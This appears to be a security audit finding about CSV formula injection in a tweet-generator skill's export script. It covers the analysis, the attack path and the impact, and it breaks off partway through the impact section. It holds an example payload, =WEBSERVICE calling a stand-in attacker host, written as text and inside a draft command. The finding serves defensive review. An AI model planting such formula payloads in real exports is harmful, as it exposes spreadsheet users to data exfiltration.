T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/script.sh:80- Finding
CSV Formula Injection Through Unescaped Exported Content
- Content
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"$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out" done < "$f" done ``` ### Technical Analysis The `val` variable contains user-controlled content read from local log files. It is written directly into a CSV field without RFC 4180 quoting or spreadsheet-formula neutralization. Values beginning with characters such as `=`, `+`, `-`, or `@` may be interpreted as formulas when the exported file is opened in spreadsheet software. Commas, quotation marks, carriage returns, and line breaks can also alter the CSV structure and create attacker-controlled cells or records. For example, content such as the following is stored without modification: ```text =WEBSERVICE("https://attacker.example/collect") ``` The resulting CSV cell can be evaluated as a formula by spreadsheet applications that support the relevant function. ### Attack Path 1. An attacker supplies crafted tweet content or persuades a user to save crafted content using a command such as: ```bash tweet-generator draft '=WEBSERVICE("https://attacker.example/collect")' ``` 2. The application writes the content to a local log file. 3. The user runs: ```bash tweet-generator export csv ``` 4. The export implementation writes the content directly into `export.csv`. 5. The user opens the CSV file in spreadsheet software. 6. If formula evaluation is enabled and supported by that software, the crafted cell may execute as a spreadsheet formula. ### Impact Assessment Successful exploitation is limited to the context and capabilities of the spreadsheet application opening the exported file. Depending on spreadsheet behavior ...[truncated 412 chars]- Remediation
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